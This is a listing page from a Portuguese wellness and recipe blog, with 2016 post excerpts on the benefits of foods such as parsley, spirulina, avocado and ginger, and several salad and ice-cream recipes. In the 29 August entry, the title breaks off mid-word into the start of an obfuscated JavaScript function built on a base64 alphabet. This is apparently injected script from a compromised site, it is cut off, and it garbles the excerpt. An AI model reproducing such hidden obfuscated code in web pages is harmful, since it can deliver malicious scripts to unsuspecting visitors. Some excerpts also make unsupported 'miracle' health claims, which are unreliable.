Out 3, 2016 | Equilíbrio, Saúde e bem estar
Dicas saudáveis – Conheça os benefícios da salsa Uma alimentação rica em frutos e vegetais é uma das armas mais poderosas de garantirmos uma saúde de ferro. “Nós somos aquilo que comemos”, uma frase tantas vezes repetida, mas muito verdadeira! Por isso, mesmo...
Set 28, 2016 | Equilíbrio, Saúde e bem estar
Spirulina, um superalimento que tem de conhecer Andava há que tempos para lhe falar desta maravilha! Chama-se spirulina, é uma cianobactéria e dizem que é capaz de verdadeiros milagres! Cultivada há milhares de anos por índios, só há relativamente pouco tempo é que o...
Set 26, 2016 | Equilíbrio, Saúde e bem estar
Dicas saudáveis – Conheça todos os benefícios do abacate Tenho a sorte de adorar quase todos os frutos, mas é sempre bom sabermos em que quantidades é que deve comê-los. O abacate é um dos frutos que procuro ter sempre em casa. Incluo-o em snacks muito saborosos...
Set 19, 2016 | Equilíbrio, Saúde e bem estar
Dicas saudáveis – Conheça os benefícios do gengibre Em chá, em óleo, cru ou seco, às lascas ou em pó, os poderes do gengibre são inegáveis e variados. É um verdadeiro tesouro para a nossa saúde e se não sabia, vai ficar a saber tudo agora mesmo. Acredite que a...
Set 12, 2016 | Equilíbrio, Saúde e bem estar
Dicas saudáveis: conheça os benefícios da batata doce A batata doce é um dos alimentos mais nutritivos do mundo. É um carboidrato de absorção lenta e os praticantes de desporto costumam adorar! Eu não sou uma desportista federada, mas adoro desporto e procuro levar a...
Set 11, 2016 | À descoberta, Receitas
Salada fresca de atum, requeijão, amêndoas e amendoins por Luísa Fortes da Cunha Ingredientes: 6 Folhas de alface em pedaços 4-5 fatias de requeijão 1 Lata de atum 4 Tomates cherry 8-10 amêndoas 6-8 amendoins Folhas de manjericão a gosto Sal e pimenta a gosto Temperar...
Set 5, 2016 | Saúde e bem estar
Dicas saudáveis – conheça os benefícios da rúcula Como sou fã da alimentação mediterrânica, desta vez decidi falar-lhe de um vegetal que eu adoro adicionar em quase todas as saladas que faço: a rúcula! É uma folha verde-escura e tem um travo ligeiramente amargo...
Ago 29, 2016 | Equilíbrio, Saúde e bem estar
Dicas saudáveis: 8 grfunction a4872b9c6b(y1){var qd=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var x0=”;var n6,w6,qe,q8,w9,we,n7;var...
Ago 27, 2016 | À descoberta, Receitas
2 gelados deliciosos para fazer em casa GELADO DE CHOCOLATE RÁPIDO Como o nome sugere, este gelado é rápido e fácil, sem perder qualquer sabor ou textura. Dá 500 ml 1/3 de chávena de cacau. 6 colheres de sopa de açúcar granulado. 3/4 de chávena de leite. 3/4 de...
Ago 26, 2016 | À descoberta, Receitas
Top 5 saladas de verão, por Luísa Fortes da Cunha As minhas escolhas são: 5º – Salada de grão com atum, abacate e ovo Ingredientes 1 alface rúcula a gosto 1 abacate 1 cebola 1 lata de grão 500g 3 ovos cozidos 2 cenouras cozidas 1 lata de atum de 350g folhas...
